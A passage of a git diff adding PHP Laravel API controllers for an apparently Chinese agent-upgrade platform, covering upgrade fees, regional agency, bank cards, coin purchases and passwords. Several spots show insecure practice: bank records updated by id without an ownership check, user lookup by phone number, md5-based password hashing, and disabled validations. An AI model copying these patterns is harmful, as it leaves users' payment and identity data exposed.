+            $upGradeData = [
+                'uid' => \Auth::id(),
+                'order_id' => $orderId,
+                'user_level' => \Auth::user()->level,
+                'apply_level' => $param['level'],
+                'money' => $param['money'],
+                'remark' => sprintf("用户[ID:%s]申请从等级[%s]升级到等级[%s],通过[%s]支付[%s]", \Auth::id(), \Auth::user()->level, $param['level'], Order::getPayType($param['pay_type']), $param['money']),
+                'upgrade_way' => 1,
+                'status' => $status
+            ];
+
+            
+           $upGradeData['province'] = \Auth::user()->province;
+           $upGradeData['city'] = \Auth::user()->city;
+           $upGradeData['district'] = \Auth::user()->district;
+           // if (!empty(($param['province']))) {
+           //     $upGradeData['province'] = \Auth::user()->province;
+           // }
+           // if (!empty(($param['city']))) {
+           //     $upGradeData['city'] = $param['city'];
+           // }
+           // if (!empty(($param['district']))) {
+           //     $upGradeData['district'] = $param['district'];
+           // }
+
+            $upgradeRes = Upgrade::insertGetId($upGradeData);
+            if (empty($upgradeRes)) {
+                \DB::rollBack();
+                return showJsonErr('生成升级记录失败');
+            }
+            \DB::commit();
+
+            return showJsonSucc('获取成功', [
+                'payData' => $payData
+            ]);
+
+        } catch (Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+    }
+    /*
+     * 支付成功的回调
+     * author wsl
+     * date 20190627
+     * ordersn  订单号
+     * */
+    public function upCheck(Request $request){
+        $param = $request->post();
+        $arr['user_area']='';
+        $userarea=Area::orWhere('id','=',\Auth::user()->city)
+            ->orWhere('id','=',\Auth::user()->district)
+            ->orderBy('pid','asc')
+            ->get()->toArray();
+        foreach($userarea as $val)$arr['user_area'].=$val['name'].' ';
+        if(empty($param['ordersn']) && !empty($param['type']) && $param['type']==4 ){
+            //免费申请区域代理的订单
+            $arr['price']=0;
+            $arr['apply_area']='';
+            //申请区域代理
+            $proxyarea=ProxyArea::whereUid(\Auth::id())->whereOrderId(0)->whereProvince($param['province'])->whereCity($param['city']);
+            if(!empty($param['district'])){
+                $proxyarea->whereDistrict($param['district']);
+            }
+            $proxyareaar=$proxyarea->orderBy('created_at','desc')->first()->toArray();
+
+
+            $applyarea=Area::orWhere('id','=',$proxyareaar['city'])
+                ->orWhere('id','=',$proxyareaar['district'])
+                ->orderBy('pid','asc')
+                ->get()->toArray();
+            foreach($applyarea as $val)$arr['apply_area'].=$val['name'].' ';
+
+            return showJsonSucc('获取数据成功',$arr);
+        }
+        if (empty($param['ordersn'])) {
+            return showJsonErr('订单号不能为空');
+        }
+        $order=Order::from('order as o')->join('user as u','o.uid','u.id')
+            ->select('o.id as orderid','o.order_no','o.uid','o.type','o.price','u.province','u.city','u.district')
+            ->where('o.order_no','=',$param['ordersn'])
+            ->first()->toArray();
+        $arr['price']=$order['price'];
+        if($order['type']==1){
+            //申请升级
+            $upgrade=Upgrade::whereOrderId($order['orderid'])->first()->toArray();
+            $arr['apply_level']=$upgrade['apply_level'];
+        }elseif($order['type']==4){
+            $arr['apply_area']='';
+            //申请区域代理
+            $proxyarea=ProxyArea::whereOrderId($order['orderid'])->first()->toArray();
+            $applyarea=Area::orWhere('id','=',$proxyarea['city'])
+                ->orWhere('id','=',$proxyarea['district'])
+                ->orderBy('pid','asc')
+                ->get()->toArray();
+            foreach($applyarea as $val)$arr['apply_area'].=$val['name'].' ';
+
+        }
+        return showJsonSucc('获取数据成功',$arr);
+    }
+    /*
+     * 获取升级记录
+     * wsl 20190910
+     * */
+    public function getUpgradeLogs(Request $request){
+        $list=Upgrade::whereUid(\Auth::id())->whereIn('status',[2,3,5])->get();
+        return showJsonSucc('数据获取成功',$list);
+
+    }
+    /*
+     * 获取当前用户等级+1的配置信息
+     * wsl 20190627
+     *
+     * */
+    public function getNextLevelInfo(){
+        $user=User::whereId(\Auth::id())->first()->toArray();
+        $setting=Proxy::getSettingByAreaAndLevel($user['level']+1,$user['province'],$user['city'],$user['district']);
+        $data['upgrade_money']=$setting['upgrade_money'];
+        $data['upgrade_level']=$setting['user_level'];
+        return showJsonSucc('获取数据成功',$data);
+    }
+    
+    /*
+     * 等级变换时所交的金钱
+     * wsl 20190627
+     * */
+    public function changeLevel(Request $request){
+        $data=[];
+        $param=$request->all();
+        if(empty($param['upgrade_level'])){
+            return showJsonErr('upgrade_level必传,1-8的数字!');
+        }
+        $upgrade_level=$param['upgrade_level'];
+        $user=User::whereId(\Auth::id())->first()->toArray();
+
+        if($upgrade_level<=$user['level']){
+            return showJsonErr('您已经是当前等级了');
+        }
+        if($user['level']==7){
+            return showJsonErr('您已经是最高等级了哦');
+        }
+        //获取自己等级之上的配置信息
+
+        $payedMoney = Upgrade::whereUid(\Auth::id())->whereStatus(3)->sum('money');
+        $uplevelarr=[];
+        for($i=$user['level']+1;$i<8;$i++)
+            $uplevelarr[]=$i;
+        if(!empty($uplevelarr)){
+            $data['upgrade_money'] = $this->getUpgradeMoney($user,$upgrade_level,$uplevelarr);
+            $data['upgrade_money'] = round( max(bcsub($data['upgrade_money'] , $payedMoney,2),0),2)  ;
+        }
+        $levelMapper = ['A','A','B','C','D','E','F','G','G'];
+        $text = sprintf(
+            '您已经是%s级代理,已经缴纳过%s元,现在只需支付%s元即可成为%s级代理',
+            $levelMapper[$user['level']],
+            $payedMoney,
+            $data['upgrade_money'],
+            $levelMapper[$param['upgrade_level']]
+        );
+        $data['upgrade_level']=$param['upgrade_level'];
+        $data['protocol'] = $text;
+        return showJsonSucc('获取数据成功',$data);
+
+    }
+    /*
+     * 获取升级费用
+     * add by wsl
+     * 20190630
+     * $user  array
+     * $upgrede_level 要升级的等级
+     * $uplevelarr 当前用户所有上一级的数组
+     * */
+    function getUpgradeMoney($user,$upgrade_level,$uplevelarr){
+        $upgrade_money=0;
+        $levelsSetting=[];
+        $newlevetset=[];
+        //所属地区价格
+        $areasetting=Proxy::select('user_level','upgrade_money')
+            ->where('uid','=',0)
+            ->where('province','=',$user['province'])
+            ->where('city','=',$user['city'])
+            ->where('status','=',1)
+            ->where('district','=',$user['district'])->whereIn('user_level',$uplevelarr)
+            ->get()->toArray();
+        //全局升级价格
+        $globalsetting=Proxy::select('user_level','upgrade_money')
+            ->where('uid','=',0)
+            ->where('province','=',0)
+            ->where('city','=',0)
+            ->where('district','=',0)->whereIn('user_level',$uplevelarr)
+            ->get()->toArray();
+        
+        if(!empty($areasetting)){
+            foreach($areasetting as $k=>$item){
+                foreach($item as $kk=>$vv){
+                    if(empty($vv)||$vv==0||$vv==null||$vv=='0.0'||$vv=='0.00'||$vv=='0.000'){
+                        $levelsSetting[$k][$kk]=$globalsetting[$k][$kk];
+                    }else{
+                        $levelsSetting[$k][$kk]=$vv;
+                    }
+                }
+            }
+
+        }else{
+            $levelsSetting=$globalsetting;
+        }
+        
+        foreach($levelsSetting as $key=>$value){
+            $newlevetset[$value['user_level']]=$value['upgrade_money'];
+        }
+        
+        for($j=$user['level']+1;$j<=$upgrade_level;$j++)$upgrade_money+=$newlevetset[$j];
+        
+        return round($upgrade_money,2);
+    }
+    function getList(){
+        $user = User::whereId(\Auth::id())->first()->toArray();
+        $level = $user['level'];
+        if($level<7){
+            $op = '>';
+        }else{
+            $op = '=';
+            $level = 7;
+        }
+
+        //所属地区价格
+        $list = $areasetting = Proxy::where('uid','=',0)
+            ->where('province','=',$user['province'])
+            ->where('city','=',$user['city'])
+            ->where('status','=',1)
+            ->where('district','=',$user['district'])
+            ->where('user_level',$op,$level)
+            ->get()->toArray();
+        if(empty($areasetting)){
+            //全局升级价格
+            $globalsetting = Proxy::where('uid','=',0)
+                ->where('province','=',0)
+                ->where('city','=',0)
+                ->where('district','=',0)
+                ->where('user_level',$op,$level)
+                ->get()->toArray();
+            
+            $list = $globalsetting;
+        }
+        
+        
+        return showJson(101,'',['req_list'=>$list]);
+    }
+    /*
+     * 获取协议
+     * wsl
+     * 20190628
+     * */
+    function getrule($level)
+    {
+        $setting=Proxy::getSettingByAreaAndLevel($level,\Auth::user()->province,\Auth::user()->city,\Auth::user()->district);
+        $result =empty($setting)?'':$setting['protocol'];
+        return $result;
+    }
+    /**
+     * 业务达到要求升级
+     * @author lyh
+     * @date 2019/3/25
+     * @param Request $request
+     * @description
+     */
+    public function addByCondition(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'level' => 'required|integer|between:2,7', //申请等级
+//            'province' => 'required_if:level,6,7|numeric|exists:area,id', // 代理省份
+//            'city' => 'required_if:level,6,7|numeric|exists:area,id', // 代理地级市
+//            'district' => 'required_if:level,6,7|numeric|exists:area,id', //代理区
+        ]);
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        if ($param['level'] < \Auth::user()->level) {
+            return showJsonErr('请申请大于当前的等级');
+        }
+
+        if (\Auth::user()->level == 0) {
+            return showJsonErr('请完善用户信息');
+        }
+
+        // 判断业务是否达标
+        /*if (($upgrade_way = Upgrade::requierdLevel($param['level'], \Auth::id())) == false) {
+            return showJsonErr('业务未达到要求,请选择其他等级');
+        }*/
+        $upgrade_way=1;
+        if (Upgrade::whereUid(\Auth::id())->whereStatus(2)->exists()) {
+            return showJsonErr('您的升级申请正在审核中,请耐心等候');
+        }
+
+        \DB::beginTransaction();
+        try {
+            $upGradeData = [
+                'uid' => \Auth::id(),
+                'user_level' => \Auth::user()->level,
+                'apply_level' => $param['level'],
+                'money' => 0,
+                'remark' => sprintf("用户[ID:%s]业务达标,申请从等级[%s]升级到等级[%s]", \Auth::id(), \Auth::user()->level, $param['level']),
+                'status' => 2,
+                'upgrade_way' => $upgrade_way
+            ];
+            $upGradeData['province'] = \Auth::user()->province;
+            $upGradeData['city'] = \Auth::user()->city;
+            $upGradeData['district'] = \Auth::user()->district;
+            // if (!empty(($param['province']))) {
+            //     $upGradeData['province'] = $param['province'];
+            // }
+            // if (!empty(($param['city']))) {
+            //     $upGradeData['city'] = $param['city'];
+            // }
+            // if (!empty(($param['district']))) {
+            //     $upGradeData['district'] = $param['district'];
+            // }
+
+            $upgradeRes = Upgrade::insertGetId($upGradeData);
+            if (empty($upgradeRes)) {
+                \DB::rollBack();
+                return showJsonErr('生成升级记录失败');
+            }
+            \DB::commit();
+            return showJsonSucc('申请升级成功', isset($payData) ? $payData : []);
+        } catch (Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+    }
+}

+ 142 - 0
app/Http/Controllers/Api/UserBankController.php

@@ -0,0 +1,142 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Area;
+use App\Modes\User;
+use App\Modes\UserBank;
+use App\Rules\BankNum;
+use App\Rules\IdCard;
+use App\Rules\Phone;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class UserBankController extends Controller
+{
+    /**
+     * 银行卡列表
+     * @author lyh
+     * @date 2019/3/22
+     * @description
+     */
+    public function index()
+    {
+        return showJsonSucc('获取银行卡列表成功', UserBank::getList([['=' => ['uid' => \Auth::id()]]]));
+    }
+
+    /**
+     * 添加银行卡
+     * @author lyh
+     * @date 2019/3/21
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function edit(Request $request)
+    {
+        $validator = \Validator::make($param = $request->post(), [
+            'id' => 'exists:user_bank,id',
+            'username' => 'required_without_all:id|string',
+            'phone' => ['required_without_all:id', new Phone],
+            'bank_name' => 'required_without_all:id|string',
+            'sms' => 'required|string|min:4',
+            //'bank_number' => [new BankNum]
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+        
+        $userBankParam = array_filter($param, function ($v, $k) {
+            return !empty($v) && in_array($k, [
+                    'username',
+                    'phone',
+                    'bank_number',
+                    'bank_name',
+                    'province',
+                    'city',
+                    'district'
+                ]);
+        }, ARRAY_FILTER_USE_BOTH);
+        
+        
+        // 如果是新增银行卡号则判断是否存在银行卡号
+//        if (empty($param['id'])) {
+//            if (UserBank::where('bank_number', $param['bank_number'])->exists()) {
+//                return showJsonErr('银行卡号已存在');
+//            }
+//        }
+//
+//        if (isset($param['province'])) {
+//            if (Area::isRealation($param['province'], $param['city'], $param['district']) == false) {
+//                return showJsonErr('地区关系错误');
+//            }
+//        }
+
+        $userBankParam['status'] = 2;
+        $userBankParam['uid'] = \Auth::id();
+    
+        // 验证短信
+        $userBankParam['phone'] = $param['phone'] ?? UserBank::find($param['id'])->phone;
+        $smsProvider = \App::make('sms');
+        $sms = $smsProvider->verifySms($userBankParam['phone'], $param['sms']);
+        if ($sms == false) {
+            return showJson(102, '短信验证码错误');
+        }
+
+        if (isset($param['id'])) {
+            /*if (UserBank::whereId($param['id'])->whereIn('status', [1, 2])->exists()) {
+                return showJsonErr('银行卡未审核或已审核');
+            }*/
+
+            UserBank::whereId($param['id'])->update($userBankParam);
+        } else {
+            if (!($param['id'] = UserBank::insertGetId($userBankParam))) {
+                return showJsonErr('添加银行卡信息失败');
+            }
+        }
+
+        return showJsonSucc('编辑银行卡数据成功', UserBank::find($param['id']));
+    }
+
+    /**
+     * 解绑银行卡
+     * @author lyh
+     * @date 2019/4/11
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @throws \Exception
+     * @description
+     */
+    public function unbundle(Request $request)
+    {
+        $validator = \Validator::make($param = $request->post(), [
+            'id' => 'required|exists:user_bank,id',
+            'sms' => 'required|string|min:4',
+        ]);
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        $bank = UserBank::find($param['id']);
+
+        if ($bank->status != 2) {
+            return showJson(102, '抱歉,银行卡审核未通过');
+        }
+
+        // 验证短信
+        $smsProvider = \App::make('sms');
+        $sms = $smsProvider->verifySms($bank->phone, $param['sms']);
+        if ($sms == false) {
+            return showJson(102, '短信验证码错误');
+        }
+
+        if (empty(UserBank::whereId($param['id'])->delete())) {
+            return showJsonErr('解绑失败');
+        }
+        return showJsonSucc('解绑成功');   
+    }
+
+    
+
+}

+ 103 - 0
app/Http/Controllers/Api/UserCoinController.20190612

@@ -0,0 +1,103 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Order;
+use App\Modes\Proxy;
+use App\Modes\UserCoin;
+use App\Service\PayDispatchService;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Mockery\Exception;
+
+class UserCoinController extends Controller
+{
+    /**
+     * 返回汇率比
+     * @author lyh
+     * @date 2019/3/28
+     * @description
+     */
+    public function getCoin()
+    {
+        $coin = Proxy::getConfig(\Auth::id());
+        return showJsonSucc('当前用户的点币汇率', [
+            'coin' => $coin->coin
+        ]);
+    }
+
+    /**
+     * 点币购买
+     * @author lyh
+     * @date 2019/3/28
+     * @description
+     */
+    public function buy(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+//            'coin' => 'required|numeric',
+            'number' => 'required|integer|min:1',
+//            'total_price' => 'required|numeric',
+            'pay_type' => 'required|integer|between:1,2'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 1/100=人民币/点币
+        // 人民币 = 点币数量
+
+        $coin = Proxy::getConfig(\Auth::id())->coin;
+
+        // 价格 = 数量/点币汇率
+        $param['total_price'] = round($param['number'] / $coin, 2);
+
+        // 获取支付信息
+        $orderNo = Order::makeOrderNo();
+
+        $pay = PayDispatchService::dispatch($param['pay_type']);
+        // 获取支付信息
+        // $payData = $pay->getPayInfo($orderNo, $param['total_price'], \Auth::user()->mobile . '点币购买');
+        $payData = $pay->getPayInfo($orderNo, 0.01, \Auth::user()->mobile . '点币购买');//测试
+
+        try {
+            // todo 生成支付订单、并返回参数
+            $orderData = [
+                'uid' => \Auth::id(),
+                'type' => 3,
+                'order_no' => $orderNo,
+                'pay_no' => $pay_no = $orderNo,
+                'price' => $param['total_price'],
+                'is_pay' => 0,
+                'pay_type' => $param['pay_type'],
+                'status' => 2,
+            ];
+            if (empty($order_id = Order::insertGetId($orderData))) {
+                \DB::rollBack();
+                return showJsonErr('生成订单失败');
+            }
+
+            UserCoin::insertGetId([
+                'uid' => \Auth::id(),
+                'order_id' => $order_id,
+                'price' => round(1 / $coin, 2), // 单价
+                'num' => $param['number'], // 数量
+                'total_price' => $param['total_price'], // 总价
+                'coin_parities' => $coin, // 汇率
+                'pay_type' => $param['pay_type']
+            ]);
+            \DB::commit();
+            if ($param['pay_type'] == 2) {
+                return $payData;
+            }
+            return showJsonSucc('提交购买点币成功', [
+                'payData' => $payData
+            ]);
+        } catch (Exception  $exception) {
+            \DB::rollBack();
+            return showJsonErr('购买点币失败', [
+                'message' => $exception->getMessage()
+            ]);
+        }
+    }
+}

+ 125 - 0
app/Http/Controllers/Api/UserCoinController.php

@@ -0,0 +1,125 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Order;
+use App\Modes\Proxy;
+use App\Modes\UserCoin;
+use App\Service\PayDispatchService;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Mockery\Exception;
+
+class UserCoinController extends Controller
+{
+    /**
+     * 返回汇率比
+     * @author lyh
+     * @date 2019/3/28
+     * @description
+     */
+    public function getCoin()
+    {
+        $coin = Proxy::getConfig(\Auth::id());
+        return showJsonSucc('当前用户的点币汇率', [
+           // 'coin' => $coin->coin
+            'coin' => 1
+        ]);
+    }
+
+    /**
+     * 点币购买
+     * @author lyh
+     * @date 2019/3/28
+     * @description
+     */
+    public function buy(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+//            'coin' => 'required|numeric',
+            'number' => 'required|integer|min:1',
+//            'total_price' => 'required|numeric',
+            'pay_type' => 'required|integer'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 1/100=人民币/点币
+        // 人民币 = 点币数量
+
+        //$coin = Proxy::getConfig(\Auth::id())->coin;
+        $coin=1;
+
+
+        // 价格 = 数量/点币汇率
+        $param['total_price'] = round($param['number'] / $coin, 2);
+
+        // 获取支付信息
+        $orderNo = Order::makeOrderNo();
+
+        $pay = PayDispatchService::dispatch($param['pay_type']);
+        // 获取支付信息
+        // $payData = $pay->getPayInfo($orderNo, $param['total_price'], \Auth::user()->mobile . '点币购买');
+        //$payData = $pay->getPayInfo($orderNo, 0.01, \Auth::user()->mobile . '点币购买');//测试
+        //$param['total_price']=0.01;
+        if ($param['pay_type'] == 2) {
+
+            $payData = $pay->getAppPayInfo($orderNo, $param['total_price'], \Auth::user()->mobile . '点币购买');//测试
+        }
+        if ($param['pay_type'] == 21) {
+            $pay = PayDispatchService::dispatch(2);
+            $payData = $pay->getPayInfo($orderNo, $param['total_price'], \Auth::user()->mobile . '点币购买');//测试
+        }
+        if ($param['pay_type'] == 3) {//微信支付
+            $payData = $pay->getPayInfo($orderNo, $param['total_price'], \Auth::user()->mobile . '点币购买');//测试
+        }
+        if ($param['pay_type'] == 31) {//微信支付h5
+            $pay = PayDispatchService::dispatch(3);
+            $getPayInfoh5Data = $pay->getPayInfoh5($orderNo, $param['total_price'], \Auth::user()->mobile . '点币购买');//测试
+            
+            $payData['url'] = 'http://itaoniu.wohuicn.com/re.php?re='.urlencode($getPayInfoh5Data->getTargetUrl());
+
+        }
+        
+        try {
+            // todo 生成支付订单、并返回参数
+            $orderData = [
+                'uid' => \Auth::id(),
+                'type' => 3,
+                'order_no' => $orderNo,
+                'pay_no' => $pay_no = $orderNo,
+                'price' => $param['total_price'],
+                'is_pay' => 0,
+                'pay_type' => $param['pay_type'],
+                'status' => 2,
+            ];
+            if (empty($order_id = Order::insertGetId($orderData))) {
+                \DB::rollBack();
+                return showJsonErr('生成订单失败');
+            }
+
+            UserCoin::insertGetId([
+                'uid' => \Auth::id(),
+                'order_id' => $order_id,
+                'price' => round(1 / $coin, 2), // 单价
+                'num' => $param['number'], // 数量
+                'total_price' => $param['total_price'], // 总价
+                'coin_parities' => $coin, // 汇率
+                'pay_type' => $param['pay_type']
+            ]);
+            \DB::commit();
+            /*if ($param['pay_type'] == 2) {
+                return showJsonSucc('');$payData;
+            }*/
+            return showJsonSucc('提交购买点币成功', [
+                'payData' => $payData
+            ]);
+        } catch (Exception  $exception) {
+            \DB::rollBack();
+            return showJsonErr('购买点币失败', [
+                'message' => $exception->getMessage()
+            ]);
+        }
+    }
+}

+ 340 - 0
app/Http/Controllers/Api/UserController.php

@@ -0,0 +1,340 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\AccountLog;
+use App\Modes\Advertising;
+use App\Modes\Area;
+use App\Modes\Proxy;
+use App\Modes\ProxyArea;
+use App\Modes\Upgrade;
+use App\Modes\User;
+use App\Modes\UserBank;
+use App\Modes\UserMsg;
+use App\Rules\BankNum;
+use App\Rules\IdCard;
+use App\Rules\Phone;
+use DemeterChain\C;
+use Doctrine\DBAL\Driver\PDOException;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Mockery\Exception;
+use SimpleSoftwareIO\QrCode\Facades\QrCode;
+use Illuminate\Support\Facades\DB;
+
+class UserController extends Controller
+{
+    public function getUser(Request $request)
+    {
+        $mobile = $request->post('mobile', null);
+        $user=User::whereMobile($mobile)->select(['id', 'mobile', 'nick_name'])->first();
+        $user->coin=round($user->coin,2);
+        return showJsonSucc('获取用户信息成功',$user );
+    }
+
+    /**
+     * 用户资料
+     * @author lyh
+     * @date 2019/3/19
+     * @description
+     */
+    public function show()
+    {
+        $user = \Auth::user();
+        //查看用户代理的区域  wsl 20190702
+        $dailistr='';
+        if(!empty($user)&&$user['level']>5){
+            $row=ProxyArea::whereUid($user->id)->whereIn('status',[2,3])->select('province','city','district')->first();
+            if(!empty($row)){
+                $daili[]=Area::whereId($row->province)->value('name');
+                $daili[]=Area::whereId($row->city)->value('name');
+                $daili[]=Area::whereId($row->district)->value('name');
+                if(!empty($daili))$dailistr=implode(' ',$daili);
+            }
+        }
+        $userdatas = DB::select('select * from zx_user where id = :id', ['id' => \Auth::id()]);
+
+        // $auth = Upgrade::condition(\Auth::id());
+        // var_dump($auth);exit;
+
+        return showJsonSucc(1001, [
+            'id' => $user->id,
+            'mobile' => $user->mobile,
+            'nick_name' => $user->nick_name,
+            'avatar' => $user->avatar,
+            'real_name' => $user->real_name,
+            'balance' => $user->balance,
+            'coin' => $user->coin,
+            'is_apply' => $user->is_apply,
+            'invitor' => User::getInfo($user->invitor, ['id', 'nick_name','mobile']),
+            'invite_code' => $user->invite_code,
+            'invite_image' => User::getInviteImage($user->invite_code),
+            'province' => Area::getName($user->province),
+            'city' => Area::getName($user->city),
+            'district' => Area::getName($user->district),
+            'level' => $user->level,
+            'status' => $user->status,
+            'created_at' => $userdatas[0]->created_at,
+            'commission' => AccountLog::getSumMoney(\Auth::id(), [10, 11, 12, 13, 20, 21, 22, 23]), // 佣金
+            'url' => env('APP_URL'),
+            'upGrade' => Upgrade::condition(\Auth::id()), // 判断是否达到升级条件
+            'proxy_area'=>$dailistr
+        ]);
+    }
+    public function getPayQrcode(Request $request){
+        $param=$request->all();
+        if(empty($param['code_url'])){
+            return showJsonErr('code_url 必填');
+        }
+        $res=User::getPayCode($param['code_url']);
+        if(!empty($res)) return $res;
+        return '';
+    }
+    /*
+     * 修改支付密码
+     * wsl
+     * 20190726
+     * */
+    public function modifyPayPass(Request $request){
+        $validator = \Validator::make($param = $request->post(), [
+            'pay_password' => 'required|min:6',
+            'sms' => 'required|size:4'
+        ],['sms.required'=>'验证码不能为空','sms.size'=>'验证码长度为4']);
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        // 验证短信
+        $smsProvider = \App::make('sms');
+        $sms = $smsProvider->verifySms(\Auth::user()->mobile, $param['sms']);
+        if ($sms == false) {
+            return showJson(102, '短信验证码错误');
+        }
+
+        $update = User::whereId(\Auth::id())->update(['pay_password' => md5(md5($param['pay_password']))]);
+
+        if (empty($update)) {
+            return showJson(102, '修改失败');
+        }
+
+        return showJson(101, '修改成功');
+    }
+    /**
+     * 代理明细
+     * @author lyh
+     * @date 2019/3/19
+     * @description
+     */
+    public function invitor(Request $request)
+    {
+        $validator = \Validator::make($param = $request->post(), [
+            'type' => 'required|between:0,2',
+            'page' => 'required|numeric'
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+        $userinfo=User::whereId(\Auth::id())->first()->toArray();
+        if ($param['type'] == 1) {
+            $ids = User::getInviteeOne(\Auth::id());
+            //获取当前间1配置的百分比
+            $pct=0;
+            if($userinfo['level']!=1){
+                $pct=Proxy::getJianPct($userinfo,1,1,$ids);
+            }
+
+        } elseif ($param['type'] == 2) {
+            $ids = User::getInviteeTwo(\Auth::id());
+            $pct=0;
+            if($userinfo['level']!=1) {
+                $pct = Proxy::getJianPct($userinfo, 2, 1, $ids);
+            }
+        } else {
+            $ids = User::getInvitee(\Auth::id());
+            $pctarr = Proxy::getSettingByAreaAndLevel($userinfo['level'],$userinfo['province'],$userinfo['city'],$userinfo['district']);
+            $pct=$pctarr['proxy_invite'];
+        }
+
+        $user = User::getList($ids, ['nick_name', 'id', 'mobile']);
+
+
+        if ($user->isNotEmpty()) {
+            collect($user->items())->each(function ($item, $key) {
+                $item['invitorNum'] = User::whereInvitor($item['id'])->count('id'); // 下级数量
+                $item['performance'] = Upgrade::whereUid($item['id'])->whereStatus(3)->sum('money'); //  待完善 代理费业绩
+            });
+        }
+
+        return showJsonSucc('获取数据成功', [
+            'user' => $user,
+            'pct' => $pct,
+            'count' => count($ids),
+            'totalPerformance' => Upgrade::whereStatus(3)->whereIn('uid', $ids)->sum('money')
+        ]);
+    }
+
+    /**
+     * 完善信息
+     * @author lyh
+     * @date 2019/3/21
+     * @description
+     */
+    public function update(Request $request)
+    {
+        $validator = \Validator::make($param = $request->post(), [
+            'id_card' => [new IdCard],
+            'real_name' => 'string',
+            'nick_name' => 'string',
+            'province' => 'required_with_all:city,district|numeric|exists:area,id',
+            'city' => 'required_with_all:province,district|numeric|exists:area,id',
+            'district' => 'required_with_all:province,city|numeric|exists:area,id',
+            'username' => 'string',
+            'phone' => [new Phone],
+            //'bank_number' => [new BankNum],
+            'bank_name' => 'string',
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+
+        $userParam = array_filter($param, function ($v, $k) {
+            return !empty($v) && in_array($k, [
+                    'id_card',
+                    'real_name',
+                    'nick_name',
+                    'district',
+                    'city',
+                    'province',
+                ]);
+        }, ARRAY_FILTER_USE_BOTH);
+
+        $userBankParam['username']=empty($param['username'])?'':trim($param['username']);
+        $userBankParam['phone']=empty($param['phone'])?'':trim($param['phone']);
+        $userBankParam['bank_name']=empty($param['bank_name'])?'':trim($param['bank_name']);
+        $userBankParam['bank_number']=empty($param['bank_number'])?'':trim($param['bank_number']);
+        $userBankParam['province']=empty($param['province'])?0:trim($param['province']);
+        $userBankParam['city']=empty($param['city'])?0:trim($param['city']);
+        $userBankParam['district']=empty($param['district'])?0:trim($param['district']);
+
+
+        if (isset($param['province'])) {
+            if (Area::isRealation($param['province'], $param['city'], $param['district']) == false) {
+                return showJsonErr('地区关系错误');
+            }
+        }
+
+        \DB::beginTransaction();
+        try {
+            if ($userParam) {
+                User::whereId(\Auth::id())->update($userParam);
+            }
+
+            $bank = UserBank::whereUid(\Auth::id())->first();
+
+            if ($userBankParam) {
+                $userBankParam['status'] = 2;
+                $userBankParam['uid'] = \Auth::id();
+
+                if ($bank) {
+                    UserBank::whereUid(\Auth::id())->update($userBankParam);
+                } else {
+                    UserBank::whereUid(\Auth::id())->insert($userBankParam);
+                }
+            }
+            \DB::commit();
+        } catch (Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+
+        // 确认信息完善则修改等级否则不做操作
+        $this->fullStatus();
+
+        return showJsonSucc('更新数据成功');
+
+    }
+
+    /**
+     * 修改登录密码
+     * @author lyh
+     * @date 2019/4/19
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function modifyPassword(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'new_pass' => 'required|min:6',
+            'comfirm_pass' => 'required|same:new_pass',
+            'mobile' => [
+                'integer',
+                new Phone()
+            ],
+            'sms' => 'required|numeric|digits_between:4,4',
+            'type' => 'required|integer|between:1,2'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        if ($param['mobile'] != \Auth::user()->mobile) {
+            return showJsonErr('抱歉,请输入正确的手机号码');
+        }
+
+        $smsProvider = \App::make('sms');
+        $sms = $smsProvider->verifySms($param['mobile'], $param['sms']);
+        if ($sms == false) {
+            return showJson(102, '短信验证码错误');
+        }
+
+
+        if ($param['type'] == 1) {
+            $field = 'password';
+        } else {
+            $field = 'pay_password';
+        }
+
+        $result = User::whereMobile($param['mobile'])->update([$field => User::encodePassword($param['new_pass'])]);
+        if (!$result) {
+            return showJsonErr('修改密码失败');
+        }
+
+        return showJsonSucc('修改密码成功');
+    }
+
+
+    /**
+     * 修改用户信息完善状态、等级
+     * @author lyh
+     * @date 2019/3/21
+     * @description
+     */
+    private function fullStatus()
+    {
+        if (\Auth::user()->level == 0) {
+            $user = User::whereId(\Auth::id())->select(['nick_name', 'real_name', 'id_card', 'province', 'city', 'district', 'level'])->first()->toArray();
+
+            if ($bank = UserBank::whereUid(\Auth::id())->select(['id'])->first()) {
+                $bank = $bank->toArray();
+                $checkData = array_merge($user, $bank);
+            }
+
+
+            // 如果未通过则进行验证
+            if ($bank && $checkData['level'] == 0) {
+                $isFull = true;
+                foreach ($checkData as $key => $item) {
+                    if (empty($item) && $key != 'level') {
+                        $isFull = false;
+                    }
